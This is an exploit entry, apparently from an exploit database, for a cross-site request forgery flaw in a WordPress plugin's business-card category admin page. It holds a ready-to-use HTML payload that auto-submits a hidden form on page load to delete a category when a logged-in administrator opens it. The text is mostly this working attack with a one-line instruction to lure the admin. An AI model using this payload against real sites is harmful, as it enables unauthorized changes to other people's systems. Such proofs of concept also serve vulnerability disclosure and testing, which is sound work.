## https://sploitus.com/exploit?id=WPEX-ID:082FF0B8-2ECD-4292-832D-0A79E1BA8CB3
Make a logged in admin open an HTML document containing:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=es-bcard-category" method="post">
<input type="hidden" name="del_category" value="4">
<input type="submit" value="Submit" />
</form>
</body>
```